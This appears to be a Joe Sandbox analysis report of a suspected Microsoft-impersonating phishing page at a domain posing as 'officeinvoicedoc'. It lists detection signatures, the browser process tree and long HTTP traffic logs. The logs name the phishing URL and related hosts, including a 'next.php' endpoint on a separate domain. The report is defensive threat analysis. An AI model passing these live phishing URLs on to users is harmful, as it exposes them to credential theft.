Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://zngw.officeinvoicedoc.com/DhpuI

Overview

General Information

Sample URL:	https://zngw.officeinvoicedoc.com/DhpuI
Analysis ID:	1500447
Infos:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Phishing site detected (based on favicon image match)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

×

Process Tree

System is w10x64_ra

chrome.exe (PID: 6280 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://zngw.officeinvoicedoc.com/DhpuI MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6964 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1960,i,16558629874653300574,15253624983313222741,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.3.pages.csv, type: HTML
Source: Yara match	File source: 0.4.pages.csv, type: HTML

Phishing site detected (based on favicon image match)

Source: https://officeinvoicedoc.com

Matcher: Template: microsoft matched with high similarity

Phishing site detected (based on logo match)

Source: https://zngw.officeinvoicedoc.com/DhpuI/	Matcher: Template: microsoft matched
Source: https://zngw.officeinvoicedoc.com/DhpuI/	Matcher: Template: microsoft matched

Source: https://zngw.officeinvoicedoc.com/DhpuI/

HTTP Parser: Number of links: 0

Source: https://zngw.officeinvoicedoc.com/DhpuI/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://zngw.officeinvoicedoc.com/DhpuI/

HTTP Parser: Base64 decoded: {"version":3,"sourceRoot":"/cfsetup_build/src/orchestrator/turnstile/templates","sources":["turnstile.scss"],"names":[],"mappings":"AAmCA;EACI;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI;IAEI;;EAGJ;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI;IACI;;;AAIR;EACI...

Source: https://zngw.officeinvoicedoc.com/DhpuI/

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: Invalid link: Privacy statement
Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: Invalid link: Privacy statement

Source: https://zngw.officeinvoicedoc.com/DhpuI/

HTTP Parser: <input type="password" .../> found

Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No favicon
Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No favicon
Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No favicon
Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No favicon

Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No <meta name="author".. found
Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No <meta name="author".. found

Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No <meta name="copyright".. found
Source: https://zngw.officeinvoicedoc.com/DhpuI/	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.74:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.73.194.208:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.16:49772 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.114.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 20.73.194.208
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.74
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.74

Source: global traffic	HTTP traffic detected: GET /DhpuI HTTP/1.1Host: zngw.officeinvoicedoc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /DhpuI/ HTTP/1.1Host: zngw.officeinvoicedoc.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/6790c32b9fc9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ba418a1eaa9423b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ba418a1eaa9423b&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: zngw.officeinvoicedoc.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zngw.officeinvoicedoc.com/DhpuI/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=te925qf1g9s7hq3k8307e10371
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8ba418a1eaa9423b/1724845959048/37e2e8915285562b3d2d25fd3b458d36ea219cce2f3aded9c8410ad919f331a3/7G2X06VJkRdjJdF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ba418a1eaa9423b/1724845959050/IWBKf4cfkGAQMfX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ba418a1eaa9423b/1724845959050/IWBKf4cfkGAQMfX HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=coe3ULUE44g6ypp&MD=2+rElee3 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://zngw.officeinvoicedoc.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://zngw.officeinvoicedoc.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://zngw.officeinvoicedoc.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: blessed-1323985617.cos.eu-frankfurt.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap.min.js HTTP/1.1Host: blessed-1323985617.cos.eu-frankfurt.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: officeblessed.my.idConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zngw.officeinvoicedoc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
